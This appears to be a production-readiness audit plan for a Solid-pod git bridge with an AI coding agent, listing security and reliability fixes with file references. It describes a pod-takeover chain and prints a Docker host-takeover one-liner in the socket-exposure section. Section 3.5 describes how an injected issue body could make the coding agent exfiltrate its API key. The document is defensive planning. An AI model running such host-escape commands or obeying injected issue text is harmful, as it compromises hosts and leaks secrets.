Skip to content

Latest commit

 

History

History
455 lines (322 loc) · 64.8 KB

PRODUCTION-READINESS.md

File metadata and controls

455 lines (322 loc) · 64.8 KB

Mind Codespaces — Production-Readiness Plan

Synthesis of four parallel audits (security, reliability, deployment/ops, code quality) over the v0 codebase. Each finding cites file:line so a fix can land without re-doing the analysis. Use the priority headers (P0/P1/P2/P3) to schedule the work; the P0 list is the smallest set that must land before exposing the bridge to anyone who is not the developer running it locally.

Status snapshot (2026-05-25, managed-multi-user pass).

  • P0 floor: closed. S1–S9, R1–R7, D1–D5, D6 first half all shipped.
  • P1: mostly closed. Rate limiting + CORS allowlist + JSON response cap (S8), HEAD↔published-SHA reconciler (R4), structured logging + metrics + correlation IDs (§3.1), workflow network isolation via Verdaccio + --network none default + stuck-run reaper + log-cap (§3.4), per-user quotas + signup flow (§4), first test suite (§3.2 items 1/2/5 + quotas — 8 vitest passing).
  • Operator-driven: infra/prod/scripts/pin-image-digests.sh for floating tags.
  • Open: §3.2 integration tests (3/4/6/8–10), §3.3 unified error envelope, §3.5 agent budget caps + branch-target restriction, §3.6 push-token expiry/rotation, §3.7 pod-canonical reconciler for issues/comments, P2 items (CI test gate, repo deletion, graceful shutdown).

Verifiable signals. npx tsc --noEmit clean · npm run build succeeds · npm run smoke:db 9/9 passing · npm test 8/8 passing.

Honest verdict. The prototype crosses from "closed beta with trusted operators" to "deployable for managed multi-user public signup IF the operator accepts the remaining gaps as known limits, not silent risks." The 8 unit tests cover the highest-impact regression surfaces (path traversal, token lifecycle, publisher walk, quotas); the integration tests in §3.2 are what's needed before scaling beyond a few hundred users. P0/P1 security holes are closed; what remains is verification harness, ergonomics, and operator-facing polish.


0. What "production" means here

Two production shapes are plausible; the gap list differs:

  • Self-hosted, BYO-pod. One organisation runs the bridge for its own developers; users bring their own Solid pods. CSS is optional in the deployment.
  • Managed multi-user. The operator also runs a CSS instance and provisions accounts.

The v0 prototype is built for neither — it is a single-tenant, single-pod, single-user demo where every dev secret defaults to a known string. Both production shapes share the entire P0 list below; the multi-user shape adds the items marked (multi-user) in P1/P2.


1. Immediate actions (do today, before anything else)

These are independent of which production shape you target. The rest of the document assumes they are done.

  1. Rotate OPENROUTER_API_KEY. A live sk-or-v1-… value is present in codespaces/.env.local on disk. Even though .env* is gitignored, treat this as leaked — any image, backup, or screen-share covers it. Rotate at https://openrouter.ai/keys, then move the new key into a real secrets store (Docker secret, sealed-secret, Vault).
  2. Do not expose the bridge or CSS on a public address until P0 is complete. With current code, anyone reachable on :3010 can take over Alice's pod (see §2.1 for the full chain).
  3. Update .gitignore to cover dev.log — currently checked into the working tree.

2. P0 — Blocks any non-local deployment

2.1 Security floor

A pod-takeover chain works today against any deployment that exposes the bridge: an attacker creates a repo claiming the victim's WebID, mints a push token, pushes content, and the seeded-credential fallback authenticates as alice to PUT files into the victim's pod. Every link in this chain needs to break.

[P0-S1] Authenticate every state-changing HTTP route. ✔ Shipped: a session-cookie helper in src/lib/auth/session.ts issues an HMAC-signed cookie (32-byte BRIDGE_SESSION_SECRET) at the OIDC callback (src/app/api/auth/callback/route.ts), with a readable CSRF mirror (mc-csrf). requireSession / requireOwner are now wired into every POST/PATCH/PUT/DELETE route below; body-supplied ownerWebId / authorWebId must match the session WebID or the route 403s. requireOwner resolves the resource's owner from the registry (not the body). The unauthenticated surface that's still acceptable: the read-only GETs (the listing pages are public by design) and /api/git/[o]/[r]/[...path] (push-token-protected at the transport layer). Original threat enumeration retained for posterity:

  • POST /api/repos — accepts ownerWebId, ownerPodRoot with no proof of control (src/app/api/repos/route.ts:19-95).
  • PATCH /api/repos/{o}/{r} — anyone can flip visibility (src/app/api/repos/[owner]/[repo]/route.ts:33-67).
  • POST /api/repos/{o}/{r}/tokens — anyone can mint a push token for someone else's repo (src/app/api/repos/[owner]/[repo]/tokens/route.ts:19-42).
  • PUT /api/repos/{o}/{r}/pages — anyone can rewrite the publish target (src/app/api/repos/[owner]/[repo]/pages/route.ts:24-62).
  • DELETE /api/identities/{webId} — anyone can disconnect any user's pod (src/app/api/identities/[webId]/route.ts:9-20).
  • POST /api/repos/{o}/{r}/issues, PATCH …/issues/{n}, …/comments — author identity is body-supplied (issues/route.ts:40-148, [number]/route.ts:41-95, comments/route.ts:40-100).
  • POST /api/repos/{o}/{r}/runs, POST /api/agents/dispatch — anyone can burn agent budget (runs/route.ts:31-95, agents/dispatch/route.ts:25-63).

Fix. Add a session cookie set only on completion of /connect for a specific WebID. Every route above must require the session's WebID to equal the resource's ownerWebId (or, for /api/identities/{webId}, the WebID being disconnected). Reject any request body that disagrees with the session.

[P0-S2] Remove the seeded-credential fallback in production builds. ✔ Shipped. src/lib/solid/fetch-for-owner.ts refuses the seeded path when NODE_ENV === "production" OR when ALLOW_SEEDED_FALLBACK is unset (env module enforces this via getEnv().allowSeededFallback). Refresh-token-expired and never-connected are now distinct (OidcRefreshFailedError thrown from loadAuthedFetchForWebId; rebranded as OwnerFetchUnavailableError with discriminator at the publisher boundary). src/lib/env.ts refuses to start in production when POD_USER_PASSWORD still equals the dev fallback string. Remaining: delete the fallback entirely once §2.6 (real account onboarding) lands.

[P0-S3] Authenticate the post-receive loopback hook. ✔ Shipped. The hook script written by src/lib/git/backend.ts now computes HMAC-SHA256 over the request body keyed by BRIDGE_HOOK_SECRET and sends it as X-Bridge-Hmac: sha256=<hex>. src/app/api/git/internal/post-receive/route.ts constant-time verifies the digest AND checks X-Forwarded-For against loopback when the request arrived through a reverse proxy. The new scripts/reinstall-hooks.ts (also npm run reinstall:hooks) rewrites every existing repo's hooks/post-receive after a BRIDGE_HOOK_SECRET or BRIDGE_INTERNAL_URL rotation — that closes the "secret rotation silently breaks every existing repo" P0-R4 gap for the hook-script flavour. Reading from a variable inside the hook keeps the secret out of ps.

[P0-S4] Lock down the OIDC start endpoint. ✔ Shipped (with one residual).

  • ✔ CSRF: /api/auth/start checks Origin against BRIDGE_PUBLIC_URL and falls back to Sec-Fetch-Site. A cross-site form post is refused before any state is touched.
  • ✔ WebID-pinning: when the caller passes a webId hint alongside the issuer, the route dereferences the profile and refuses if solid:oidcIssuer doesn't match. Hint is optional for backward compat; the chain reaches the repo-create pod-root check next, which also closes the loop.
  • ✔ Secure cookies: now driven by getEnv().isProd for both the OIDC dance cookie (/api/auth/start) and the session cookie (/api/auth/callback via issueSession). No more bind-URL-derived "Secure" flag.
  • ✔ Encrypt token storage at rest: src/lib/registry/identities.ts now wraps every identity_storage value in AES-256-GCM with IDENTITY_ENCRYPTION_KEY (32 bytes from env). On-disk format v1:<iv>:<tag>:<ct>. Legacy plaintext rows are read back and re-encrypted on the next write — no migration script needed.
  • Remaining: rate-limit /api/auth/start per-IP and per-issuer to throttle issuer-discovery probes (rolls into P0-S8).

[P0-S5] Verify ownerPodRoot matches the WebID. ✔ Shipped. src/app/api/repos/route.ts calls verifyPodRootForWebId (new in src/lib/solid/profile.ts) before insert, dereferencing the WebID profile and rejecting any podRoot not in the advertised pim:storage set. Gated on !allowSeededFallback so the seeded-dev path still works without a real profile. Remaining: apply the same check to PATCHing Pages targetContainer (still only enforced at publish time via ensureContainerPath).

[P0-S6] Defend the publisher's filesystem walk. ✔ Shipped.

  • ✔ Symlink escape: walk in src/lib/pages/publisher.ts now lstats every entry and explicitly skips symlinks. The host fs can't be exfiltrated via a pushed evil -> /.
  • ✔ Forbidden list expanded: directories .aws, .ssh, .gnupg; file prefixes id_rsa, id_ed25519, id_ecdsa, id_dsa, credentials, secrets; extensions .pem, .key, .p12, .pfx, .asc, .crt; names .netrc, .npmrc, .pypirc, .dockercfg. Per-file cap of 50MB (MAX_PUBLISH_FILE_SIZE) — overrideable via env.
  • ✔ validateName is now applied in src/lib/agents/drivers/coder.ts before any path construction.

[P0-S7] Constrain the agents container. ✔ Mostly shipped (one open).

  • ✔ API key no longer in ps: --env OPENROUTER_API_KEY (no =value) and the bridge populates the child's process env separately.
  • ✔ Sandbox hardening: --read-only + --tmpfs /tmp:exec, --security-opt no-new-privileges, --cap-drop ALL, --pids-limit=256, --ulimit nofile=1024:1024.
  • ✔ Process-group kill on timeout: the coder driver now spawns its docker run with detached: true and kills the WHOLE group on timeout, so the actual container (forked from the parent docker CLI) goes down too.
  • Remaining: default to --network none once the Verdaccio mirror from §3.4 lands. Today the container is still on bridge (overridable via MIND_CODER_NETWORK=none) so the demo path works without a mirror. Document this trade-off in the operator README.

[P0-S8] Add CORS, response size, and rate limits. ✔ Shipped.

  • ✔ CSRF: P0-S1's session + mc-csrf double-submit closes the cross-origin authed-call window (SameSite: lax keeps the readable cookie out of cross-site requests).
  • ✔ Rate limiting: src/lib/rate-limit.ts ships an in-memory token-bucket keyed by X-Forwarded-For. Wired into POST /api/repos (repoCreate 10/min), POST /api/repos/{o}/{r}/issues (issueCreate 20/min), POST /api/repos/{o}/{r}/tokens (tokenMint 5/30s), POST /api/auth/start (authStart 10/30s), POST /api/agents/dispatch (agentDispatch 5/30s). Returns 429 with Retry-After when buckets drain.
  • ✔ Basic-auth-failure throttle on /api/git/.../git-receive-pack — gitPushAuthFailure (capacity 10, refill 1/min) keyed per-(repo, IP). Locks out brute-force attempts on push tokens; legitimate auth burns no budget. Returns 429 with WWW-Authenticate on lockout so git clients see a clean retry prompt rather than 401-as-success.
  • ✔ CORS allowlist: src/proxy.ts (Next.js 16 proxy/middleware) enforces an Origin allowlist on /api/*. Default: BRIDGE_PUBLIC_URL only. Extend via BRIDGE_CORS_ALLOWED_ORIGINS=https://dashboard.example.com,…. Git Smart HTTP routes (/api/git/...) are excluded — git CLI doesn't send Origin and CORS is irrelevant there.
  • ✔ JSON response-size cap: src/lib/http/json.ts exposes jsonResponse() (drop-in for NextResponse.json) that refuses to ship responses over BRIDGE_MAX_JSON_RESPONSE_BYTES (default 5MB). Wired into the listing endpoints most likely to balloon: GET /api/repos, GET /api/repos/{o}/{r}/issues, GET /api/repos/{o}/{r}/runs. The in-memory bucket is single-process — move to a shared store before scaling the bridge horizontally.

[P0-S9] Containerised-bridge Docker socket exposure. Once the bridge runs in its own container (as it does in infra/prod/docker-compose.yml), mounting /var/run/docker.sock directly into the bridge gives any code running inside the bridge the equivalent of host root — a single docker run --rm -v /:/host alpine chroot /host sh is a complete host takeover. The current prod compose mitigates this by routing all Docker API traffic through a tecnativa/docker-socket-proxy sidecar (infra/prod/docker-compose.yml's socket-proxy service) that filters the API down to verbs the bridge actually needs (POST /containers/create, /start, /wait, DELETE /containers/{id}, GET /images/{name}/json) and denies everything else (/exec, /build, /networks, /volumes, /swarm, /plugins, /system, /secrets, /configs).

Residual risk you must account for. The proxy filters by URL + verb only; it does not deep-inspect request bodies. A fully-compromised bridge can still issue POST /containers/create with HostConfig.Privileged: true or HostConfig.Binds: ["/:/host"] and break out. The defense-in-depth that goes with the proxy:

  • Pin MIND_CODER_IMAGE by SHA digest in .env (otherwise a registry compromise can swap the sandbox image — already on the §6.3 supply-chain list).
  • Block bridge compromise upstream: P0-S1 (unauth routes), P0-S3 (unauth hook), P0-S7 (agents container hardening), and the prompt-injection chain in §3.5 are how an attacker drives the bridge into running arbitrary Docker calls in the first place. P0-S9 is only meaningful in combination with those.
  • The strategic fix is to stop relying on the host Docker daemon for sandboxing at all — see §5 for rootless Podman / Sysbox / Firecracker options.
  • Verify on every compose change that no new service quietly re-introduces a direct /var/run/docker.sock mount on the bridge or any other privileged container.

2.2 Reliability floor

[P0-R1] Per-repo publish lock. ✔ Shipped. src/lib/pages/publish-lock.ts provides a withPublishLock(repoId, task) helper with latest-wins coalescing — while a publish for repo R is in flight, only ONE follow-up can be queued; further incoming publishes collapse into that single follow-up. Both the legacy publishPages path AND the workflow-runner's publish-step now route through this lock. Coalesced publishes are reported in the workflow log so operators can see drop events.

[P0-R2] Don't silently fall back to seeded creds on OIDC refresh failure. ✔ Mostly shipped. OidcRefreshFailedError is now thrown from loadAuthedFetchForWebId when the WebID has a stored identity but the SDK can't refresh; getOwnerFetch re-raises as OwnerFetchUnavailableError("needs-reauthorization"). The publish chain propagates the failure; callers do NOT fall back to seeded creds in this case (the seeded path is only consulted when there's NO identity AT ALL, and even then only in dev with ALLOW_SEEDED_FALLBACK=1). Remaining: surface the "needs reauthorization" status on /repos/{o}/{r} instead of just logging — wire OwnerFetchUnavailableError.reason into a new pages_configs.last_publish_status column (couples with P0-R5).

[P0-R3] Process supervision for git http-backend children. ✔ Shipped (src/lib/git/http-cgi.ts):

  • ✔ spawn(..., { detached: true }) so each child leads its own group; cancel/timeout/shutdown kill the negative pid to reap grandchildren.
  • ✔ req.signal.aborted propagates into the killer (client disconnect → CGI gone).
  • ✔ 10 min wall-clock timeout per request.
  • ✔ Module-scope liveChildren: Set<ChildProcess> drained on SIGTERM/SIGINT. The prod Dockerfile already runs tini as PID 1.
  • ✔ Non-zero exit after headers now controller.error()s the response stream — no more truncated-success git clients.

[P0-R4] Reliable hook delivery. ✔ Shipped.

  • ✔ npm run reinstall:hooks (scripts/reinstall-hooks.ts) rewrites every existing repo's hooks/post-receive from the current env. Run after rotating BRIDGE_HOOK_SECRET or BRIDGE_INTERNAL_URL. The prod compose uses BRIDGE_INTERNAL_URL=http://bridge:3010 so callbacks don't traverse Caddy.
  • ✔ last_published_sha column (migration 011) records HEAD's SHA on every successful publish via markPagesPublished(repoId, { sha }).
  • ✔ Reconciler module (src/lib/pages/reconciler.ts) walks every Pages-enabled repo on boot + on a 5-minute timer; compares HEAD-of-source-branch to last_published_sha; republishes on drift. Fires from ensureServerBootstrap (via Next.js 16 src/instrumentation.ts) in production, opt-in in dev via MIND_FORCE_RECONCILER=1.
  • ✔ Operator-facing trigger: npm run reconcile:pages (one-shot, exit 1 on any failure) and POST /api/admin/reconcile (Bearer BRIDGE_ADMIN_TOKEN). The hook's curl … || echo silent-failure window is now bounded by the reconciler interval.

[P0-R5] Surface publish failures in the UI. ✔ Shipped. Migration 010_publish_status.sql adds last_publish_status / last_publish_error / last_publish_attempt to pages_configs. markPagesFailed in src/lib/registry/repos.ts flips the row on every publisher exception (auth-needs-reauthorization, OIDC refresh failed, walk failure, pod 4xx/5xx) and last_publish_status = 'success' is set on the happy path. The repo detail page renders a red PublishStatusBanner (src/app/repos/[owner]/[repo]/page.tsx:223) when status ≠ success, with a reauthorize link wired to /connect when the discriminator is needs-reauth. Remaining: pod 5xx exponential-backoff retry (today every error is terminal); abort-early on 4xx auth (today the publisher walks the whole tree before discovering the token expired).

[P0-R6] Wrap multi-step DB operations in transactions. ✔ Shipped. createRepo now wraps both inserts in db.transaction(...); a crash between the two cannot leave a repos row without its pages_configs partner. getDb sets PRAGMA busy_timeout = 5000 so concurrent writers from publisher/agents/CGI don't surface SQLITE_BUSY as unhandled exceptions.

[P0-R7] Resource caps. ✔ Mostly shipped.

  • ✔ Caddy push-body cap: infra/prod/Caddyfile:32-34 ships request_body { max_size {$MIND_MAX_PUSH_BODY:1GB} } on the bridge upstream. Tunable per-deployment; 1GB is the default since legitimate git push rarely exceeds it.
  • ✔ Per-file upload size: 50MB default cap in walk (overrideable via MAX_PUBLISH_FILE_SIZE). Files above are skipped with a warning.
  • Remaining: container --ulimit nofile on the bridge runtime (the coder container already gets --ulimit nofile=1024:1024); RSS / disk-quota observation in the health probe.

2.3 Deployment baseline

Status: a deployment baseline has shipped in infra/prod/ — Dockerfile.bridge, docker-compose.yml (caddy + bridge + socket-proxy + css), Caddyfile, .env.example, deploy README. The items below note what's done vs. what remains as proper P0 work.

[P0-D1] Bridge Dockerfile. ✔ Shipped: infra/prod/Dockerfile.bridge — multi-stage node:22-bookworm-slim build, runs as the built-in node user (uid 1000), tini as PID 1, copies the Next.js output: "standalone" bundle, ships with git and the docker CLI binary. The CSS-only dev compose at the repo root is unchanged. Remaining: HEALTHCHECK directive in the Dockerfile (waits on P0-D5 — the current /api/health is too thin to use as a probe). npm ci already used.

[P0-D2] docker-compose.prod.yml. ✔ Shipped: infra/prod/docker-compose.yml. Named volumes for caddy_data, caddy_config, css_data, bridge_registry, bridge_git_data. The coder-work parent is a host bind mount (/var/lib/mind/coder-work:/var/lib/mind/coder-work), not a named volume — necessary because the host Docker daemon resolves the coder's -v ${workDir}:/work argument, so the bridge container and the host must see that path at the same address (the new MIND_CODER_WORKROOT env on the coder driver, src/lib/agents/drivers/coder.ts:61). The CSS image is pinned to the major tag solidproject/community-server:7 (no longer floating :latest). Includes the P0-S9 socket-proxy sidecar. Remaining: pin every image by @sha256:… digest, not floating tag — caddy:2-alpine, node:22-bookworm-slim, solidproject/community-server:7, tecnativa/docker-socket-proxy:0.3.0 (the bridge image is built locally and so doesn't need a registry digest). The seed-config bind mount is intentionally not used in prod (no seeded users; users sign up at CSS's /idp/register/).

[P0-D3] Reverse proxy + TLS. ✔ Shipped: infra/prod/Caddyfile — Caddy 2 with auto-ACME, two server blocks for ${MIND_DOMAIN_BRIDGE} and ${MIND_DOMAIN_POD}, flush_interval -1 on the bridge proxy so git Smart HTTP streams without buffering. Remaining:

  • Split env vars: BRIDGE_PUBLIC_URL (HTTPS, public — used as the OIDC redirect base) vs BRIDGE_INTERNAL_URL (loopback HTTP — used in the post-receive hook). Today both share BRIDGE_PUBLIC_URL, which is fine for the demo but means the hook traverses Caddy unnecessarily.
  • CSS --baseUrl becomes the OIDC issuer URL. Decide the public URL before the first user signs up — migrating later either invalidates all existing tokens or requires a fresh CSS install.
  • Trust X-Forwarded-Proto: https in the bridge when computing the secure-cookie flag (related to P0-S4 bullet 3).

[P0-D4] Fail-fast env validation. ✔ Shipped. src/lib/env.ts is the single source of truth. In NODE_ENV=production it refuses to start when:

  • BRIDGE_PUBLIC_URL / POD_BASE_URL look like localhost / loopback,
  • POD_USER_PASSWORD is unset or equals the dev string,
  • BRIDGE_SESSION_SECRET / BRIDGE_HOOK_SECRET / IDENTITY_ENCRYPTION_KEY are missing or the wrong size,
  • MIND_CODER_TIMEOUT is non-positive.

In dev the module synthesises the three secrets into .registry-data/.bridge-secrets.json so restarts produce stable cookies. Remaining: per-call sites (git/backend.ts, git/http-cgi.ts, etc.) have been migrated to getEnv() where it matters; a handful of agent/workflow files still read process.env directly — fine, but consolidating them under getEnv() would tighten the boot-time refusal.

[P0-D5] Real /api/health. ✔ Shipped. /api/health now runs in parallel:

  • SELECT 1 against the registry,
  • git --version (proves the binary is on PATH),
  • HEAD ${POD_BASE_URL}.well-known/openid-configuration with a 10s in-memory cache,
  • docker info when MIND_RUNNER=docker.

Returns 503 with per-check status + latency when any fails. Liveness is a separate route at /api/livez (process up) and is what the new Dockerfile HEALTHCHECK probes. Remaining: trigger migrations at boot rather than inside the first HTTP request (they currently run from getDb()'s first call, which still hits via checkRegistry at startup but the path is a touch indirect).

[P0-D6] Backups. Partially shipped.

  • ✔ SQLite: scripts/backup-registry.ts (npm run backup:registry) uses better-sqlite3's online Database#backup() API to write an atomic, consistent dump to $REGISTRY_DATA_DIR/backups/registry-{ISO8601}.db. Safe to run while the bridge is serving traffic.
  • Remaining: schedule it (cron / systemd timer / docker sidecar) — the script is wired, but operator-level scheduling is deployment-specific and not committed.
  • Remaining: .git-data/ mirror — recommended pattern is git clone --mirror to a backup remote per repo on push (gives a working repo, not a tarball). Filesystem snapshot (ZFS / btrfs / LVM) also acceptable.
  • Remaining: CSS .css-data/ — file backend has no online dump. Either accept a brief downtime window for rsync, or move CSS to a backend that does (Postgres + pg_basebackup).
  • Remaining: documented restore drill: CSS → registry → git-data → start bridge → run seed:demo (idempotent) → confirm a known token can git clone. RPO 24 h / RTO 1 h is achievable with hourly DB backups + nightly snapshots.

3. P1 — Must-fix before opening to traffic beyond a closed beta

3.1 Observability

  • ✔ Structured logging. src/lib/log.ts ships a dependency-free NDJSON logger with LOG_LEVEL + LOG_FORMAT env knobs. In NODE_ENV=production (or LOG_FORMAT=ndjson) it emits one JSON object per line; otherwise it stays human-readable for dev. PII scrubbers (scrubWebId, clip) wired into the highest-leak sites: publisher (src/lib/pages/publisher.ts), OIDC /api/auth/start + /api/auth/callback (error detail is logged but never returned to the client), post-receive hook entry. Correlation IDs via AsyncLocalStorage thread from post-receive request → publisher chain so a cid=… field links the whole publish back to the trigger.
  • ✔ Metrics at /api/metrics (src/lib/metrics.ts + src/app/api/metrics/route.ts). Bearer-authenticated with BRIDGE_METRICS_TOKEN; disabled (403) when unset. Exposition format text/plain; version=0.0.4. Counters: git_pushes_total{owner,repo,result}, git_clones_total{...}, publish_total{...}, publish_failures_total{owner,repo,reason}, workflow_runs_total{status}, agent_calls_total{driver,role,result}, auth_failures_total{scope}. Process defaults: nodejs_memory_heap_used_bytes, nodejs_memory_rss_bytes, nodejs_uptime_seconds.
  • Remaining: histograms for publish_duration_seconds / http_request_duration_seconds (counters cover error rates; latencies still need Grafana NDJSON aggregation), OpenTelemetry tracing wiring on src/instrumentation.ts, and the alerting catalogue (publish failure rate > 5% / 5 min, Basic-auth-failure spike, .git-data/ > 85% full, git http-backend child > 5 min, CSS unreachable > 1 min) — those live in Prometheus/Grafana config the operator owns, not in this codebase.

3.2 Tests (the minimum bar before a real launch)

✔ Test runner wired: vitest with npm test / npm run test:watch. vitest.config.ts aliases @/* to src/* and stubs server-only so production modules can be unit-tested. 8 tests currently passing across 4 files.

  1. ✔ Path-traversal regression suite. tests/path-traversal.test.ts — covers validateName (accept-list + reject-list including .., ../.., .hidden, embedded whitespace / slashes / backslashes / semicolons / nulls, length>64) and repoPath (refusal of .. segments, escape outside gitDataDir, correct happy-path resolution).
  2. ✔ Push-token mint / verify / revoke. tests/push-tokens.test.ts — asserts the plaintext is never in the row (only its sha256), wrong-prefix / wrong-repo / revoked tokens all rejected.
  3. Remaining — Auth gate matrix on /api/git/[owner]/[repo]/[...path]. The classifier (push vs pull, public vs private) is a single ladder; table-test against the matrix of (visibility, isPush, isPull, has-token, valid-token).
  4. Remaining — Git Smart HTTP round-trip integration test with the real git binary against a tmp .git-data.
  5. ✔ Publisher walk. tests/publisher-walk.test.ts — fixture drops .git/HEAD, node_modules/, .env, .env.local, credentials.json, site.pem, .DS_Store, .ssh/id_rsa, a evil -> / symlink; asserts walk() yields ONLY the legitimate index.html + css/site.css. Also exports walk so the test hits the same code the publisher runs (no shadow copy).
  6. Remaining — End-to-end Pages publish against a live CSS in Docker (upload + MIME types + ACL idempotency + prune behaviour).
  7. Remaining — Registry migrations on fresh + each-intermediate-version DBs.
  8. Remaining — OIDC delegation flow against live CSS (full /connect round-trip).
  9. Remaining — Concurrent-push test (verifies P0-R1's publish-lock).
  10. Remaining — Hook delivery + reconciler integration test (kill the bridge between push and callback; assert the reconciler catches up).

✔ Quota tests bonus: tests/quotas.test.ts covers assertCanCreateRepo and assertCanMintToken against tunable env limits.

Remaining: npm run lint (next lint), CI workflow (no .github/workflows/ directory yet). The npm test + npm run smoke:db + npm run build + npx tsc --noEmit chain is what should run in CI as a first cut.

3.3 Error-handling discipline

  • 8+ fire-and-forget promises with console.warn/console.error only — src/app/api/repos/route.ts:89, [owner]/[repo]/route.ts:52, pages/route.ts:49, issues/route.ts:105,143, issues/[number]/route.ts:81, comments/route.ts:92, and the publish chain at src/app/api/git/internal/post-receive/route.ts:91. Once a structured logger lands, every one of these needs a correlation id and a metric counter.
  • Unified error envelope: { error: { code, message } }. Today the shape drifts — repos/route.ts:66 adds a code, peer routes don't ([owner]/[repo]/route.ts:22,62). Status codes also drift (NOT_FOUND is 404 in one place, 400 in another).
  • Don't leak e.message to clients (src/app/api/auth/callback/route.ts:33 and auth/start/route.ts:51-60); log details server-side, return a stable generic message.

3.4 Workflows runner hardening

  • Remaining — Hard-fail when Docker is unavailable in prod. Today resolveRunnerMode still falls back to native when MIND_RUNNER is unset. The prod compose now sets MIND_RUNNER=docker explicitly so the silent-fallback path can't trip in shipped configs; a follow-up should make the env module refuse to start in production when MIND_RUNNER !== "docker".
  • ✔ Network policy on the workflow container. src/lib/workflows/docker.ts now passes --network=${MIND_WORKFLOW_NETWORK} (default none) on every workflow container. Prod compose ships a verdaccio sidecar on a dedicated mind-workflows user-defined network; workflow containers join that network only, and MIND_NPM_REGISTRY=http://verdaccio:4873/ becomes their npm_config_registry. Workflow container egress is now: Verdaccio (npm mirror) ✓; everything else ✗ — closing the "workflow run can call home" hole.
  • ✔ Container hardening. Same workflow container now also gets --read-only --tmpfs /tmp:size=512m,exec --security-opt no-new-privileges:true --cap-drop ALL --pids-limit=512 --ulimit nofile=1024:1024. The bind mount at /work stays writable so npm install actually succeeds; the rootfs cannot be modified.
  • ✔ Log capture cap. src/lib/workflows/docker.ts ships a per-process appendCapped that truncates the captured log at MIND_WORKFLOW_LOG_LIMIT bytes (default 5MB). A printf bomb can no longer OOM the bridge.
  • ✔ Stuck-run reaper. reapStuckRuns() in src/lib/registry/runs.ts runs once at server bootstrap (via src/lib/bootstrap.ts → src/instrumentation.ts). Any workflow_runs row with status='running' and started_at older than the current process's start time is force-finalised to failed with an explanatory error_message.
  • Remaining — isDockerAvailable cache invalidation. Still cached for process lifetime. The reaper at boot picks up the worst symptom (orphaned rows); a follow-up should add periodic re-probe.
  • Remaining — Named-container reaper on startup. Bridge crash mid-build still leaves mind-runner-{hex} containers behind. Add a startup docker ps -a --filter name=mind-runner- sweep.

3.5 Agents module hardening

  • Retry on 5xx. src/lib/agents/drivers/openrouter.ts:120-123 only honors 429 retry-after; 500/502/503/504 (common OpenRouter outage modes) get no retry.
  • Per-call timeout. No timeout on the fetch (openrouter.ts:67-81). At 5 min/attempt × 4 retries the call hangs ~20 min.
  • Rate-limit dispatch. No cap; spammy webhooks can drain the OpenRouter budget.
  • Prompt-injection from issue bodies. Issue title/body flows verbatim into the LLM prompt (src/lib/agents/dispatch.ts:15-25, coder.ts:216-234). The coder driver runs opencode --dangerously-skip-permissions in a network-enabled container with OPENROUTER_API_KEY in env — a poisoned issue can exfiltrate the key. Combined with P0-S7, kill container egress and treat the agents container as untrusted.
  • Agent commits trigger a publish. Opencode commits land on agent/issue-{n} and trigger the post-receive chain; an owner who set Pages sourceBranch to that pattern (or whose session is compromised long enough to set it) sees the coder's output auto-published into their pod. Constrain which branches can drive a publish (e.g. require sourceBranch to match ^(main|master|gh-pages)$ unless explicitly opted in).

3.6 Push-token lifecycle

  • ✔ Throttle Basic-auth failures on /api/git/.../[...path]. RATE_LIMITS.gitPushAuthFailure (capacity 10, refill 1/min) keyed per-(repo, IP) via isLockedOut / recordFailure in src/lib/rate-limit.ts. Locks out a brute-forcer for ~10 minutes; legitimate pushes burn no budget.
  • Remaining — Lifecycle columns + UI: expires_at, last_used_at, revoked_at on push_tokens. Visible in the token manager so users can audit and rotate.
  • Remaining — HMAC tokens with a server-side pepper so a leaked DB alone is useless. Today the row stores a sha256 of the plaintext — fine against straight rainbow-table attacks but the pepper hardens against an attacker who steals both the DB and a partial wordlist.

3.7 Pod-canonical guarantees for issues & comments

The migration comment on src/lib/registry/migrations/004_issues.sql:1-9 frames the pod as the canonical store and the SQLite tables as a rebuildable index. In practice this is aspirational: every write path goes to SQLite first, the pod mirror is fire-and-forget (writeIssueToPod(...).catch(console.warn) — src/app/api/repos/[owner]/[repo]/issues/route.ts:104-109, same shape for issues/[number]/route.ts:81 and comments/route.ts:92), and no pod→SQLite rebuild path exists. Concretely:

  • If a pod PUT fails after the SQLite commit succeeds (CSS down, ACL drift, transient network flap), the issue exists in the bridge's index but not in the user's pod. The UI doesn't surface the gap; the data isn't portable.
  • If the SQLite registry is restored from an older backup, every pod-side issue/comment created after the backup snapshot is silently orphaned. The pod still holds them, but they're invisible until someone manually reindexes.
  • Users who export their pod and migrate to another bridge get partial state.

Three layers of fix:

  1. Reconciler on startup + cron. Walk each repo's {podRoot}/codespaces/{repo}/issues/ LDP container; for any Turtle file not represented in SQLite, parse and upsert. Symmetric for comments/. Idempotent; safe to run repeatedly. Same primitive solves the "restore from old backup" case.
  2. Synchronous pod write on the critical path for at least the first write of an issue/comment (the row counts as "real" only when the pod accepts it). The current best-effort pattern stays for subsequent edits where the SQLite-vs-pod gap is small.
  3. Status column mirroring P0-R5: issues.pod_sync_status ∈ ok / failed / pending, surfaced in the UI so users can see divergence rather than discovering it during a migration. Same for issue_comments.

Same shape applies to pulls (src/lib/registry/pulls.ts) the moment the PR primitive grows a pod-side Turtle representation — which it doesn't yet, and that itself is a P2 omission for portability.


4. P2 — Must-fix in first 60 days post-launch

  • CI/CD pipeline. GitHub Actions (or GitLab CI): lint + typecheck + the test suite from §3.2 on every PR. docker build + push to GHCR on merge to main. npm audit --omit=dev gates merges.
  • Repo deletion API — currently no endpoint exists; the dangling pod state lives forever.
  • Graceful shutdown / blue-green deploys (uses the process tracker from P0-R3). Drain in-flight pushes before swapping; reverse-proxy controls upstream.
  • Online schema migrations only. Test each new migration on a copy first; avoid long ALTER TABLEs.
  • Encrypt identity_storage at rest (P0-S4 only added it to the new install — apply to existing rows during upgrade).
  • Replace the hand-rolled Turtle parser in parseLdpContains (src/lib/pages/publisher.ts:230-257) with a real RDF library. Low-impact today (the pod is the user's), but the prune step is one bug away from deleting more than intended.
  • Cap process.env propagation into the CGI (src/lib/git/http-cgi.ts:28) — allow-list the CGI vars git http-backend actually needs.
  • Documentation: docs/SCHEMA.md (or auto-generated), full env-var table, operational runbook (backup/restore/rotation/upgrade), every undocumented endpoint added to the README (/api/agents, /api/agents/dispatch, /api/repos/{o}/{r}/runs, /api/repos/{o}/{r}/issues/*).

Multi-user only

  • ✔ Account onboarding flow. POST /api/signup (rate-limited, CSRF-guarded, gated on BRIDGE_ENABLE_SIGNUP=1) proxies to CSS /idp/register/, persists a row in users, and hands the client a /connect?webId=…&oidcIssuer=… URL to complete delegation. /signup page (server component + signup-form.tsx client component) wraps it.
